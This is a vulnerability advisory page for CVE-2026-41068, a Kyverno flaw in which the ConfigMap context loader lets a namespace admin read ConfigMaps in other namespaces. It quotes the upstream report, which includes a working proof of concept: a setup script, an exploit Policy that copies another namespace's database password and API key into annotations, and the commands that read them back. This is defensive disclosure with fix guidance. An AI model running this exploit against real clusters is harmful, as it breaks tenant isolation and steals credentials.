HOL LogoGuard

Explore HOL

  • HOL home
  • AI agent registry
  • AI plugins
  • Open standards
  • HOL members
  • Sponsor HOL
  • Advertise with HOL

Guard product

  • Guard overviewLocal security and control for AI agents and the tools they use.
  • FeaturesRuntime protection, policy routing, review, and evidence.

Explore Guard

  • Product previewWalk through Guard surfaces in read-only demo mode.
  • ComparisonCompare Guard with native controls and AI security vendors.

AI tools

  • All AI toolsEvery supported AI tool and how Guard applies policy to it.
  • Codex
  • Claude Code
  • Cursor
  • Antigravity CLI
  • OpenCode
  • Hermes
  • OpenClaw
  • GitHub Copilot CLI
  • Antigravity
  • Kimi
  • Grok
  • Pi / Oh My Pi
  • Zcode

Extensions

  • All extensionsBrowse command and MCP coverage with owners and stated limits.
  • Command coverageShell command protection across clouds, databases, backups, and packages.
  • MCP server coverageSee how Guard maps risk state across MCP tools and servers.
  • Core safetyThe safety floor listings that ship with Guard.
  • Data and resilienceBackup and storage command protection.
  • Cloud and infrastructureAWS, Azure, GCP, Kubernetes, and more.

Security

  • AI security hubSecurity research, advisories, and agent safety coverage.
  • AI tool securitySecurity profiles for each supported coding agent.
  • Safe labsHands-on attack simulations with safe boundaries.
  • Redacted warningsReal blocked actions with sensitive details removed.
  • AdvisoriesCoordinated disclosure reports for AI tooling.
  • Active CVEsSearch active CVEs affecting AI tooling.

Learn

  • Security guidesPractical guides for securing AI agent workflows.
  • DocsInstall, configure, and operate Guard with confidence.
  • ResearchPublished security research, benchmarks, and methodology.

Community

  • ReleasesVersion history, shipped changes and upgrade notes.
  • ContributorsThe people and contributions behind HOL Guard.
  • AffiliatesShare Guard with your audience and earn from referrals.
  • SponsorFund agreed research, implementation and shared testing through the HOL Partner Program.
  • AdvertiseCompare README logo placements, previews and monthly prices, or promote a plugin or extension.
PricingEnterpriseOpen AppInstall Guard
  1. Guard
  2. Security
  3. CVEs
  4. CVE 2026 41068 kyverno cross namespace read bypasses rbac
HOL Guard

Public security guidance for teams protecting AI harnesses, MCP servers, skills, prompts, and local tool execution.

Install Guard

AI Security

  • Prompt injection
  • MCP security
  • OWASP MCP mapping
  • Supply chain

Resources

  • Trust packet
  • Harness setup
  • Redacted warnings
  • Safe labs

Product

  • Install Guard
  • Pricing
  • Open dashboard
Guard
  • Guard Overview
  • Releases
  • Contributors
  • Install Guard
  • Pricing
Docs
  • Documentation Index
  • Developer Hub
  • API Reference
  • Root OpenAPI
  • Registry OpenAPI
  • Run in Postman
  • Standards
  • Submit ERC-8004 Contract
  • Feature Your Agent
Best Plugins
  • Browse Plugins
  • Plugin Launches
  • Best Claude Plugins
  • Best Codex Plugins
  • Best Grok Plugins
  • Best Kimi Plugins
  • Best DeepSeek Plugins
  • Best Antigravity Plugins
  • Best MCP Servers
  • Best Cursor Plugins
  • Best OpenCode Plugins
Best Agents
  • Best ERC-8004 Agents
  • Best Virtuals Agents
  • Best MCP Servers
  • Best A2A Agents
  • Best x402 Payable
  • All Categories
Community
  • Telegram
  • X
More
  • About HOL
  • Sponsor
  • Advertise
  • Contact
  • Blog
  • GitHub
  • Privacy
  • Terms of Service
Settings

Copyright © 2026 HOL DAO LLC. All rights reserved.

Back to active CVEs
High · CVSS 7.7CVE-2026-41068GHSA-CVQ5-HHX3-F99P

Kyverno: Cross-Namespace Read Bypasses RBAC Isolation (CVE-2026-22039 Incomplete Fix)CVE-2026-41068

Answer in brief

CVE-2026-41068 records a High severity (CVSS 7.7) vulnerability in Kyverno: Cross-Namespace Read Bypasses RBAC Isolation (CVE-2026-22039 Incomplete Fix). The current sources do not mark it as known exploited. The current feed maps github.com/kyverno/kyverno (go). Check affected ranges and fixed versions before updating.

Analysis pending evidence review

HOL Guard separates source facts from reviewed analysis. See the methodology.

Published Apr 16, 2026Updated Sep 10, 2026Source checked Oct 25, 2026First seen by HOL Sep 10, 2026Material review Sep 10, 2026
Upstream Advisory

Key facts

Risk
High · CVSS 7.7
Exploitation
Not marked as known exploited
Affected software
1 mapped package or product
Fix availability
Not reported

Why this deserves its current priority

CVSS is 7.7. The current sources do not mark it as known exploited. Treat this as a source-backed prioritization signal, not a statement about your environment.

Analysis status

Analysis pending evidence review

Factual feed record only; HOL analysis is not approved for indexing. Read the methodology.

Affected scope and exposure questions

The current feed maps github.com/kyverno/kyverno (go). Check affected ranges and fixed versions before updating.

Mapped affected packages and fixed versions
PackageAffected rangeFixed version
github.com/kyverno/kyvernogo>=0Not reported

Recommended response

  1. 1Check inventory. Check lockfiles and deployed manifests for github.com/kyverno/kyverno.
  2. 2Review the reported fix. Monitor this advisory for an available fix and review any installs of the affected package.

Evidence timeline and material changes

  1. Published upstream

    Apr 16, 2026

    Evidence: source:osv:source_dates:source-dates:record
  2. Source modified

    Sep 10, 2026

    Evidence: source:osv:source_dates:source-dates:record
  3. First seen by HOL

    Sep 10, 2026

Sources and claim methodology

  • GitHub security advisorygithub.com
  • GitHub security advisorygithub.com
  • GitHub security advisorygithub.com
  • NVD vulnerability recordnvd.nist.gov
Upstream source description

### Summary CVE-2026-22039 fixed cross-namespace privilege escalation in Kyverno's `apiCall` context by validating the `URLPath` field. However, the **ConfigMap context loader has the identical vulnerability** — the `configMap.namespace` field accepts any namespace with zero validation, allowing a namespace admin to read ConfigMaps from any namespace using Kyverno's privileged service account. This is a complete RBAC bypass in multi-tenant Kubernetes clusters. ### Details **Root cause:** The CVE-2026-22039 fix in `pkg/engine/apicall/apiCall.go` (lines 73-83) validates that `URLPath` references only the policy's own namespace using regex. However, the ConfigMap context loader at `pkg/engine/context/loaders/configmap.go` performs **no namespace validation** on the `namespace` field. **Code path comparison:** | | CVE-2026-22039 (fixed) | This vulnerability (unfixed) | |--|---|---| | **Location** | `apiCall.URLPath` field | `configMap.namespace` field | | **Code path** | `apicall.Fetch()` → namespace regex validation | `configmap.NewConfigMapLoader()` → no validation | | **Root cause** | Variable substitution + missing validation | Same pattern, still unpatched | **Exploit mechanism:** 1. Namespace admin creates a Kyverno Policy in their namespace (standard RBAC) 2. Policy uses `context.configMap.namespace: "victim-ns"` to reference another namespace 3. Kyverno's admission controller service account (has cluster-wide `view` role) fetches the ConfigMap 4. Policy mutates a trigger ConfigMap to exfiltrate the stolen data via annotations **Affected code:** `pkg/engine/context/loaders/configmap.go` - `NewConfigMapLoader()` does not validate resolved namespace against policy namespace. ### PoC Full reproduction (5 minutes on `kind`): ```bash #!/bin/bash # Setup: kind cluster + Kyverno v1.17.0 kind create cluster --name kyverno-poc --wait 60s helm repo add kyverno https://kyverno.github.io/kyverno/ helm install kyverno kyverno/kyverno --namespace kyverno --create-namespace --version 3.7.0 --wait # Create attacker and victim namespaces kubectl create namespace attacker-ns kubectl create namespace victim-ns # Plant sensitive data in victim namespace kubectl create configmap sensitive-config -n victim-ns \ --from-literal=db-password="s3cr3t-p4ssw0rd" \ --from-literal=api-key="AKIAIOSFODNN7EXAMPLE" # Create namespace admin RBAC (standard multi-tenant setup) kubectl create serviceaccount ns-admin -n attacker-ns kubectl create rolebinding ns-admin-binding --clusterrole=admin \ --serviceaccount=attacker-ns:ns-admin --namespace=attacker-ns kubectl create role kyverno-policy-creator --verb=create,get,list \ --resource=policies.kyverno.io --namespace=attacker-ns kubectl create rolebinding kyverno-policy-binding --role=kyverno-policy-creator \ --serviceaccount=attacker-ns:ns-admin --namespace=attacker-ns # Verify namespace admin CANNOT directly access victim-ns kubectl get configmap sensitive-config -n victim-ns \ --as=system:serviceaccount:attacker-ns:ns-admin # Error: Forbidden (expected) ``` **Exploit policy:** ```yaml # Apply as namespace admin apiVersion: kyverno.io/v1 kind: Policy metadata: name: configmap-crossns-read namespace: attacker-ns spec: rules: - name: steal-configmap match: any: - resources: kinds: [ConfigMap] names: ["trigger-cm"] context: - name: stolendata configMap: name: "sensitive-config" namespace: "victim-ns" # <-- NO VALIDATION mutate: patchStrategicMerge: metadata: annotations: exfil-db-password: "{{ stolendata.data.\"db-password\" }}" exfil-api-key: "{{ stolendata.data.\"api-key\" }}" ``` **Trigger and exfiltrate:** ```bash # Trigger policy (as namespace admin) kubectl apply -f - <<EOF apiVersion: v1 kind: ConfigMap metadata: name: trigger-cm namespace: attacker-ns data: innocent: "data" EOF # Read exfiltrated secrets kubectl get configmap trigger-cm -n attacker-ns -o jsonpath='{.metadata.annotations}' \ --as=system:serviceaccount:attacker-ns:ns-admin | python3 -m json.tool # Output: # { # "exfil-api-key": "AKIAIOSFODNN7EXAMPLE", # "exfil-db-password": "s3cr3t-p4ssw0rd" # } ``` **Result:** Namespace admin successfully read secrets from `victim-ns` despite having NO RBAC access. ### Impact **Severity: HIGH (CVSS 7.7)** **Who is affected:** - Any Kubernetes cluster running Kyverno v1.17.0 (and earlier) with namespace-scoped Policy creation enabled (default) - Multi-tenant clusters where ConfigMaps contain sensitive data - Azure Kubernetes Service (AKS) and other managed K8s using Kyverno **Attack prerequisites:** - Namespace admin privileges (standard RBAC in multi-tenant clusters) - Ability to create Kyverno Policy resources (default for namespace admins) - No cluster-admin required **What can be exfiltrated:** - Any ConfigMap from any namespace - Common targets: database credentials, API keys, service configurations, application secrets stored in ConfigMaps **Why this matters:** - Namespace isolation is a fundamental Kubernetes security boundary - Namespace admin is an expected, common RBAC level in production multi-tenant clusters - Violates the principle of least privilege and breaks multi-tenancy guarantees **Suggested fix:** Apply the same namespace validation from `apicall.Fetch()` to `configmap.NewConfigMapLoader()`: 1. Pass `policyNamespace` to `NewConfigMapLoader()` 2. After variable substitution on `namespace`, validate resolved namespace == `policyNamespace` 3. Return error if validation fails Also audit other context loaders (`globalReference`, `imageRegistry`, `variable`) for the same pattern. **Tested versions:** - Kyverno: v1.17.0 (latest, includes CVE-2026-22039 fix) - Helm chart: 3.7.0 - Kubernetes: v1.35.0 (kind)

Quoted source text, attributed separately from HOL analysis.

Record context

Vulnerability class
Privilege Escalation
EPSS
Not reported
CWE IDs
Not reported
Source
OSV
Source checked
Oct 25, 2026
References
4 linked sources
Open source record